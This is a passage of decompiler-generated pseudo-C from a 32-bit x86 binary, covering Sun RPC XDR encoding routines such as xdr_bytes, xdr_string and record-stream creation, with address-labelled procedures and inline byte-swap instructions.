    if(ebx != 0) {
        Vfffffff0 = Ac;
        Vfffffff4 = A10;
        Vfffffff8 = A14;
        Vfffffffc = 0;
        ecx = *(ebx + 4);
        if(*( *ecx)(ebx, 3, 0x8064ac8, & Vfffffff0, 0x8064fbc, & Vffffffea, *L080791E0, *L080791E4) != 0) {
            *L08079220 = 14;
            *( *( *(ebx + 4) + 8))(ebx, 0x8079224);
        } else {
            if(Vffffffea == 0) {
                *L08079220 = 15;
            }
        }
        *( *( *(ebx + 4) + 16))(ebx);
    }
    *(A8 + 2) = 0;
    esp = ebp - 40;
    return(Vffffffea & 65535);
}

/*	Procedure: 0x08064AC6 - 0x08064B1A
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064AC6(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L08064F10(A8, Ac + 4) != 0 && L08064F10(A8, Ac + 8) != 0 ? L08064F10(A8, Ac + 12) : 0;
}

/*	Procedure: 0x08064B1B - 0x08064B1B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064B1B()
{



}

/*	Procedure: 0x08064B1C - 0x08064B57
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064B1C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L0806510C(A8, Ac) == 0 ? 0 : L080651B8(A8, Ac + 4, Ac + 8, 400);
}

/*	Procedure: 0x08064B58 - 0x08064B6D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064B58(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08065120(A8, Ac, 8));
}

/*	Procedure: 0x08064B6E - 0x08064BE5
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064B6E(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08064B1C(A8, Ac) != 0 && L0806510C(A8, Ac + 12) != 0) {
        eax = *(Ac + 12);
        if(eax != 0) {
            if(eax == 2) {
                goto L08064bb4;
            }
            goto L08064bd8;
        }
        (save) *(Ac + 16);
        (save)A8;
        eax = *( *(Ac + 20))();
        goto L08064bdd;
L08064bb4:
        if(L08064F10(A8, Ac + 16) != 0) {
            goto L08064bcc;
        }
    }
    eax = 0;
    goto L08064bdd;
L08064bcc:
    eax = L08064F10(A8, Ac + 20);
    goto L08064bdd;
L08064bd8:
    eax = 1;
L08064bdd:
}

/*	Procedure: 0x08064BE6 - 0x08064C46
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064BE6(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L0806510C(A8, Ac) != 0) {
        eax = *Ac;
        if(eax != 0) {
            if(eax == 1) {
                goto L08064c30;
            }
            goto L08064c3c;
        }
        if(L08064F10(A8, Ac + 4) == 0) {
            goto L08064c3c;
        }
        (save)Ac + 8;
        (save)A8;
        eax = L08064F10();
        goto L08064c3e;
L08064c30:
        eax = L0806510C(A8, Ac + 4);
    } else {
L08064c3c:
        eax = 0;
    }
L08064c3e:
}

/*	Procedure: 0x08064C47 - 0x08064C47
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064C47()
{



}

/*	Procedure: 0x08064C48 - 0x08064C9A
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064C48(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L0806510C(A8, Ac + 4) != 0 && *(Ac + 4) == 1 ? L0806529C(A8, Ac + 8, Ac + 12, 0x80791e8, 0) : 0;
}

/*	Procedure: 0x08064C9B - 0x08064C9B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064C9B()
{



}

/*	Procedure: 0x08064C9C - 0x08064D12
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064C9C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    *(Ac + 4) = 0;
    *(Ac + 8) = 2;
    eax = *A8 == 0 && L08064F10(A8, Ac) != 0 && L0806510C(A8, Ac + 4) != 0 && L08064F10(A8, Ac + 8) != 0 && L08064F10(A8, Ac + 12) != 0 ? L08064F10(A8, Ac + 16) : 0;
}

/*	Procedure: 0x08064D13 - 0x08064D13
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064D13()
{



}

/*	Procedure: 0x08064D14 - 0x08064D9F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064D14(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(A8 <= 5) {
        goto *(A8 * 4 + 0x8064d2c)[L08064d80, L08064d44, L08064d50, L08064d5c, L08064d68, L08064d74, ]goto ( *(A8 * 4 + 0x8064d2c));
        *Ac = 8;
        return;
        *Ac = 9;
        esp = ebp;
        return;
        *Ac = 10;
        esp = ebp;
        return;
        *Ac = 11;
        esp = ebp;
        return;
        *Ac = 12;
        esp = ebp;
        return;
        *Ac = 0;
        esp = ebp;
        return;
    }
    *Ac = 16;
    *(Ac + 4) = 0;
    *(Ac + 8) = A8;
    esp = ebp;
}

/*	Procedure: 0x08064DA0 - 0x08064DDF
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064DA0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(A8 != 1) {
        < ? L08064db5 : ;
        if(A8 != 6) {
            goto L08064dcc;
        }
        *Ac = 6;
        return;
    }
    *Ac = 7;
    esp = ebp;
    return;
L08064dcc:
    *Ac = 16;
    *(Ac + 4) = 1;
    *(Ac + 8) = A8;
    esp = ebp;
}

/*	Procedure: 0x08064DE0 - 0x08064E70
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08064DE0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = *(A8 + 8);
    if(eax != 0) {
        if(eax == 1) {
            goto L08064e18;
        }
    } else {
        if(*(A8 + 24) == 0) {
            *Ac = 0;
            goto L08064e68;
        }
        L08064D14( *(A8 + 24), Ac);
        goto L08064e30;
L08064e18:
        L08064DA0( *(A8 + 12), Ac);
        goto L08064e30;
    }
    *Ac = 16;
    *(Ac + 4) = *(A8 + 8);
L08064e30:
    eax = *Ac;
    if(eax != 7) {
        > ? L08064e40 : ;
        if(eax != 6) {
            goto L08064e68;
            if(eax == 9) {
                goto L08064e5c;
            }
            goto L08064e68;
        }
        *(Ac + 4) = *(A8 + 16);
        eax = *(A8 + 20);
    } else {
        eax = *(A8 + 16);
        *(Ac + 4) = eax;
        goto L08064e68;
L08064e5c:
        *(Ac + 4) = *(A8 + 28);
        eax = *(A8 + 32);
    }
    *(Ac + 8) = eax;
L08064e68:
}

/*	Procedure: 0x08064E71 - 0x08064E73
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064E71()
{



}

/*	Procedure: 0x08064E74 - 0x08064E91
 *	Argument size: -16
 *	Local size: 24
 *	Save regs size: 0
 */

L08064E74(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vffffffe8;



    Vffffffe8 = 2;
    return(*A8( & Vffffffe8, Ac));
}

/*	Procedure: 0x08064E92 - 0x08064E9F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064E92()
{



    return(1);
}

/*	Procedure: 0x08064EA0 - 0x08064EB3
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064EA0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08064EC8(A8, Ac));
}

/*	Procedure: 0x08064EB4 - 0x08064EC7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064EB4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08064F10(A8, Ac));
}

/*	Procedure: 0x08064EC8 - 0x08064F0C
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064EC8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(*A8 == 0) {
        return(*( *( *(A8 + 4) + 4))(A8, Ac));
    }
    if(*A8 == 1) {
        return(*( *( *(A8 + 4)))(A8, Ac));
    }
    if(*A8 != 2) {
        esp = ebp;
        return(0);
    }
    esp = ebp;
    return(1);
}

/*	Procedure: 0x08064F0D - 0x08064F0F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064F0D()
{



}

/*	Procedure: 0x08064F10 - 0x08064F54
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08064F10(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(*A8 == 1) {
        return(*( *( *(A8 + 4)))(A8, Ac));
    }
    if(*A8 == 0) {
        return(*( *( *(A8 + 4) + 4))(A8, Ac));
    }
    if(*A8 != 2) {
        esp = ebp;
        return(0);
    }
    esp = ebp;
    return(1);
}

/*	Procedure: 0x08064F55 - 0x08064FB8
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L08064F55(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    eax = *A8;
    if(eax != 1) {
        < ? L08064f78 : ;
        if(eax == 2) {
            goto L08064fa7;
        }
        goto L08064fb0;
        Vfffffffc = *Ac;
        eax = *(A8 + 4);
        (save) & Vfffffffc;
        (save)A8;
        eax = *( *(eax + 4))();
    } else {
        eax = *(A8 + 4);
        if(*( *eax)(A8, & Vfffffffc) != 0) {
            *Ac = Vfffffffc;
L08064fa7:
            eax = 1;
        } else {
L08064fb0:
            eax = 0;
        }
    }
}

/*	Procedure: 0x08064FB9 - 0x08064FBB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08064FB9()
{



}

/*	Procedure: 0x08064FBC - 0x0806501C
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L08064FBC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    eax = *A8;
    if(eax != 1) {
        < ? L08064fdc : ;
        if(eax == 2) {
            goto L0806500b;
        }
        goto L08065014;
        Vfffffffc = *Ac & 65535;
        eax = *(A8 + 4);
        (save) & Vfffffffc;
        (save)A8;
        eax = *( *(eax + 4))();
    } else {
        eax = *(A8 + 4);
        if(*( *eax)(A8, & Vfffffffc) != 0) {
            *Ac = Vfffffffc;
L0806500b:
            eax = 1;
        } else {
L08065014:
            eax = 0;
        }
    }
}

/*	Procedure: 0x0806501D - 0x08065058
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L0806501D(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    Vfffffffc = *Ac & 255;
    if(L08064EA0(A8, & Vfffffffc) != 0) {
        *Ac = Vfffffffc;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08065059 - 0x08065094
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L08065059(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    Vfffffffc = *Ac & 255;
    if(L08064EB4(A8, & Vfffffffc) != 0) {
        *Ac = Vfffffffc;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08065095 - 0x08065097
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065095()
{



}

/*	Procedure: 0x08065098 - 0x08065108
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L08065098(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    eax = *A8;
    if(eax != 1) {
        < ? L080650b8 : ;
        if(eax == 2) {
            goto L080650f6;
        }
        goto L08065100;
        Vfffffffc = 0;
        edx = *(A8 + 4);
        (save) & Vfffffffc;
        (save)A8;
        eax = *( *(edx + 4))();
    } else {
        eax = *(A8 + 4);
        eax = *( *eax)(A8, & Vfffffffc);
        if(eax != 0) {
            *Ac = 0;
L080650f6:
            eax = 1;
        } else {
L08065100:
            eax = 0;
        }
    }
}

/*	Procedure: 0x08065109 - 0x0806510B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065109()
{



}

/*	Procedure: 0x0806510C - 0x0806511F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0806510C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08064EC8(A8, Ac));
}

/*	Procedure: 0x08065120 - 0x080651B6
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08065120(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    if(A10 != 0) {
        if(!(ebx = A10 & 3)) {
            ebx = 4 - ebx;
        }
        if(*A8 != 1) {
            goto L08065170;
        }
        if(*( *( *(A8 + 4) + 8))(A8, Ac, A10) == 0) {
            goto L080651a1;
        }
        if(ebx != 0) {
            (save)ebx;
            (save)0x807e758;
            (save)A8;
            eax = *( *( *(A8 + 4) + 8))();
            goto L080651ad;
L08065170:
            if(*A8 != 0) {
                goto L0806519c;
            }
            if(*( *( *(A8 + 4) + 12))(A8, Ac, A10) == 0) {
                goto L080651a1;
            }
            if(ebx != 0) {
                eax = *( *( *(A8 + 4) + 12))(A8, 0x807923c, ebx);
                goto L080651ad;
L0806519c:
                if(*A8 != 2) {
L080651a1:
                    eax = 0;
                    goto L080651ad;
                }
            }
        }
    }
    eax = 1;
L080651ad:
}

/*	Procedure: 0x080651B7 - 0x080651B7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080651B7()
{



}

/*	Procedure: 0x080651B8 - 0x0806527B
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L080651B8(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = A10;
    ebx = *Ac;
    L0805E954();
    if(L08064EB4(A8, esi) != 0) {
        esi = *esi;
        if(A14 >= esi) {
            goto L080651f0;
        }
        if(*A8 == 2) {
L080651f0:
            eax = *A8;
            if(eax != 1) {
                < ? L0806524c : ;
                if(eax == 2) {
                    goto L08065258;
                }
            } else {
                if(esi == 0) {
L08065204:
                    eax = 1;
                    goto L08065272;
                }
                if(ebx == 0) {
                    ebx = L0805BD74(esi);
                    *Ac = ebx;
                    if(ebx == 0) {
                        (save)"out of memory";
                        L0804F680(0x80787a4, "xdr_bytes: %s\n", L0805E584( *L08078F9C, 10, 1));
                        goto L08065270;
                    }
                }
                eax = L08065120(A8, ebx, esi);
                goto L08065272;
L08065258:
                if(ebx == 0) {
                    goto L08065204;
                }
                L0805C290(ebx);
                *Ac = 0;
                goto L08065204;
            }
        }
    }
L08065270:
    eax = 0;
L08065272:
}

/*	Procedure: 0x0806527C - 0x08065298
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0806527C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L080651B8(A8, Ac + 4, Ac, 1024));
}

/*	Procedure: 0x08065299 - 0x0806529B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065299()
{



}

/*	Procedure: 0x0806529C - 0x08065301
 *	Argument size: 20
 *	Local size: 0
 *	Save regs size: 12
 */

L0806529C(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;



    ebx = A14;
    if(L0806510C(A8, Ac) != 0) {
        eax = *Ac;
        do {
            if(*ebx == eax) {
                goto L080652dc;
            }
            ebx = ebx + 8;
        } while(*(ebx + 4) != 0);
        if(A18 != 0) {
            goto L080652ec;
        }
    }
    eax = 0;
    goto L080652f8;
L080652dc:
    (save)-1;
    (save)A10;
    (save)A8;
    eax = *( *(ebx + 4))();
    goto L080652f8;
L080652ec:
    eax = *A18(A8, A10, -1);
L080652f8:
}

/*	Procedure: 0x08065302 - 0x08065303
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065302()
{



}

/*	Procedure: 0x08065304 - 0x080653DF
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L08065304(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffffc;



    ebx = *Ac;
    L0805E954();
    eax = *A8;
    if(eax != 0) {
        if(eax != 2) {
            goto L08065339;
        }
        if(ebx == 0) {
            goto L080653cc;
        }
    }
    Vfffffffc = L080662B0(ebx);
L08065339:
    if(L08064EB4(A8, & Vfffffffc) != 0 && Vfffffffc <= A10) {
        edx = Vfffffffc + 1;
        eax = *A8;
        if(eax != 1) {
            < ? L080653b3 : ;
            if(eax == 2) {
                goto L080653c0;
            }
            goto L080653d4;
        }
        if(edx != 0) {
            if(ebx == 0) {
                ebx = L0805BD74(edx);
                *Ac = ebx;
                if(ebx == 0) {
                    (save)"out of memory";
                    L0804F680(0x80787a4, "xdr_string: %s\n", L0805E584( *L08078F9C, 10, 1));
                    goto L080653d4;
                }
            }
            *(Vfffffffc + ebx) = 0;
            eax = L08065120(A8, ebx, Vfffffffc);
            goto L080653d6;
L080653c0:
            L0805C290(ebx);
            *Ac = 0;
        }
L080653cc:
        eax = 1;
    } else {
L080653d4:
        eax = 0;
    }
L080653d6:
    esp = ebp - 16;
}

/*	Procedure: 0x080653E0 - 0x08065404
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080653E0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065304(A8, Ac, -1) == 0) {
        return(0);
    }
    esp = ebp;
    return(1);
}

/*	Procedure: 0x08065405 - 0x08065407
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065405()
{



}

/*	Procedure: 0x08065408 - 0x08065430
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 4
 */

L08065408(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;



    *A8 = A14;
    *(A8 + 4) = 0x8079240;
    *(A8 + 16) = Ac;
    *(A8 + 12) = *(A8 + 16);
    *(A8 + 20) = A10;
    return(*A8);
}

/*	Procedure: 0x08065431 - 0x0806543A
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065431()
{



}

/*	Procedure: 0x0806543B - 0x08065471
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0806543B(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(!( *(A8 + 20) = *(A8 + 20) + -4)) {
        eax = *( *(A8 + 12));
        asm("xchg al,ah");
        asm("ror eax,0x10");
        asm("xchg al,ah");
        *Ac = eax;
        *(A8 + 12) = *(A8 + 12) + 4;
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08065472 - 0x080654A9
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08065472(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    edx = Ac;
    if(!( *(A8 + 20) = *(A8 + 20) + -4)) {
        eax = *(A8 + 12);
        edx = *edx;
        asm("xchg dl,dh");
        asm("ror edx,0x10");
        asm("xchg dl,dh");
        *eax = edx;
        *(A8 + 12) = *(A8 + 12) + 4;
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x080654AA - 0x080654E6
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L080654AA(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(!( *(A8 + 20) = *(A8 + 20) - A10)) {
        L08056480( *(A8 + 12), Ac, A10);
        *(A8 + 12) = *(A8 + 12) + A10;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x080654E7 - 0x08065522
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L080654E7(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(!( *(A8 + 20) = *(A8 + 20) - A10)) {
        L08056480(Ac, *(A8 + 12), A10);
        *(A8 + 12) = *(A8 + 12) + A10;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08065523 - 0x08065535
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08065523(A8)
/* unknown */ void  A8;
{



    return(*(A8 + 12) - *(A8 + 16));
}

/*	Procedure: 0x08065536 - 0x08065565
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08065536(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = Ac + *(A8 + 16);
    ecx = *(A8 + 12) + *(A8 + 20);
    if(eax <= ecx) {
        *(A8 + 12) = eax;
        *(A8 + 20) = ecx - eax;
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08065566 - 0x08065586
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08065566(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    ecx = 0;
    if(*(A8 + 20) >= Ac) {
        *(A8 + 20) = *(A8 + 20) - Ac;
        ecx = *(A8 + 12);
        *(A8 + 12) = *(A8 + 12) + Ac;
    }
    return(ecx);
}

/*	Procedure: 0x08065587 - 0x08065587
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065587()
{



}

/*	Procedure: 0x08065588 - 0x080655EE
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08065588(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    eax = 0;
    if(Ac == 1) {
        eax = -2147483648;
    }
    ebx = *(A8 + 16) - *(A8 + 24) + -4;
    edx = *(A8 + 24);
    eax = eax | ebx;
    asm("xchg al,ah");
    asm("ror eax,0x10");
    asm("xchg al,ah");
    *edx = eax;
    ebx = *(A8 + 16) - *(A8 + 12);
    if(*( *(A8 + 8))( *A8, *(A8 + 12), ebx) == ebx) {
        *(A8 + 24) = *(A8 + 12);
        *(A8 + 16) = *(A8 + 12) + 4;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x080655EF - 0x080655EF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080655EF()
{



}

/*	Procedure: 0x080655F0 - 0x08065632
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L080655F0(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    eax = *(A8 + 48) & 3;
    ebx = *(A8 + 40) + eax;
    eax = *( *(A8 + 32))( *A8, ebx, *(A8 + 36) - eax);
    if(eax != -1) {
        *(A8 + 44) = ebx;
        *(A8 + 48) = ebx + eax;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08065633 - 0x08065633
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065633()
{



}

/*	Procedure: 0x08065634 - 0x08065696
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08065634(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = A10;
L08065640:
    do {
        if(esi <= 0) {
            goto L08065688;
        }
        if(ebx = *(A8 + 48) - *(A8 + 44)) {
            eax = esi;
            if(esi > ebx) {
                eax = ebx;
            }
            ebx = eax;
            L08056480( *(A8 + 44), Ac, ebx);
            *(A8 + 44) = *(A8 + 44) + ebx;
            Ac = Ac + ebx;
            esi = esi - ebx;
            goto L08065640;
        }
    } while(L080655F0(A8) != 0);
    eax = 0;
    goto L0806568d;
L08065688:
    eax = 1;
L0806568d:
}

/*	Procedure: 0x08065697 - 0x08065697
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065697()
{



}

/*	Procedure: 0x08065698 - 0x080656E4
 *	Argument size: -4
 *	Local size: 8
 *	Save regs size: 4
 */

L08065698(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffffc;



    if(L08065634(A8, & Vfffffffc, 4) != 0) {
        eax = Vfffffffc;
        asm("xchg al,ah");
        asm("ror eax,0x10");
        asm("xchg al,ah");
        Vfffffffc = eax;
        *(A8 + 56) = eax >> 31;
        *(A8 + 52) = Vfffffffc & 2147483647;
        eax = 1;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x080656E5 - 0x080656E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080656E5()
{



}

/*	Procedure: 0x080656E8 - 0x08065731
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080656E8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ebx = Ac;
L080656f3:
    do {
        if(ebx <= 0) {
            goto L08065724;
        }
        if(eax = *(A8 + 48) - *(A8 + 44)) {
            edx = ebx;
            if(ebx > eax) {
                edx = eax;
            }
            eax = edx;
            *(A8 + 44) = *(A8 + 44) + eax;
            ebx = ebx - eax;
            goto L080656f3;
        }
    } while(L080655F0(A8) != 0);
    eax = 0;
    goto L08065729;
L08065724:
    eax = 1;
L08065729:
}

/*	Procedure: 0x08065732 - 0x08065733
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065732()
{



}

/*	Procedure: 0x08065734 - 0x0806574C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08065734(A8)
/* unknown */ void  A8;
{



    eax = A8;
    if(eax <= 99) {
        eax = 4000;
    }
    return(eax + 3 & 252);
}

/*	Procedure: 0x0806574D - 0x0806574F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806574D()
{



}

/*	Procedure: 0x08065750 - 0x08065847
 *	Argument size: 24
 *	Local size: 0
 *	Save regs size: 12
 */

L08065750(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    esi = Ac;
    edi = A10;
    ebx = L0805BD74(68);
    L0805E954();
    esp = esp + 4;
    if(ebx != 0) {
        esi = L08065734(esi);
        *(ebx + 60) = esi;
        edi = L08065734(edi);
        *(ebx + 64) = edi;
        eax = L0805BD74(edi + esi + 4);
        *(ebx + 4) = eax;
        if(*(ebx + 4) != 0) {
            goto L080657c4;
        }
    }
    (save)"out of memory";
    eax = L0804F680(0x80787a4, "xdrrec_create: %s\n", L0805E584( *L08078F9C, 10, 1));
    goto L0806583e;
L080657c4:
    *(ebx + 12) = *(ebx + 4);
    if(!( *(ebx + 12) & 3)) {
        do {
            *(ebx + 12) = *(ebx + 12) + 1;
        } while(*(ebx + 12) & 3);
    }
    *(ebx + 40) = *(ebx + 12) + esi;
    *(A8 + 4) = 0x8079260;
    *(A8 + 12) = ebx;
    *ebx = A14;
    *(ebx + 32) = A18;
    *(ebx + 8) = A1c;
    eax = *(ebx + 12);
    *(ebx + 20) = eax;
    *(ebx + 16) = *(ebx + 20);
    *(ebx + 24) = *(ebx + 12);
    *(ebx + 16) = *(ebx + 16) + 4;
    *(ebx + 20) = *(ebx + 20) + esi;
    *(ebx + 28) = 0;
    *(ebx + 36) = edi;
    *(ebx + 48) = *(ebx + 40);
    eax = edi + *(ebx + 48);
    *(ebx + 48) = eax;
    *(ebx + 44) = eax;
    *(ebx + 52) = 0;
    *(ebx + 56) = 1;
L0806583e:
}

/*	Procedure: 0x08065848 - 0x080658B1
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 8
 */

L08065848(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    edx = *(A8 + 12);
    ecx = *(edx + 44);
    if(*(edx + 52) > 3 && *(edx + 48) - ecx > 3) {
        eax = *ecx;
        asm("xchg al,ah");
        asm("ror eax,0x10");
        asm("xchg al,ah");
        *Ac = eax;
        *(edx + 52) = *(edx + 52) + -4;
        *(edx + 44) = *(edx + 44) + 4;
        goto L080658a4;
    }
    if(L08065910(A8, & Vfffffffc, 4) == 0) {
        eax = 0;
    } else {
        eax = Vfffffffc;
        asm("xchg al,ah");
        asm("ror eax,0x10");
        asm("xchg al,ah");
        *Ac = eax;
L080658a4:
        eax = 1;
    }
    esp = ebp - 12;
}

/*	Procedure: 0x080658B2 - 0x0806590F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080658B2(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 12);
    edx = *(ebx + 16);
    eax = edx + 4;
    *(ebx + 16) = eax;
    if(*(ebx + 20) < *(ebx + 16)) {
        *(ebx + 16) = *(ebx + 16) + -4;
        *(ebx + 28) = 1;
        if(L08065588(ebx, 0) == 0) {
            eax = 0;
            goto L08065907;
        }
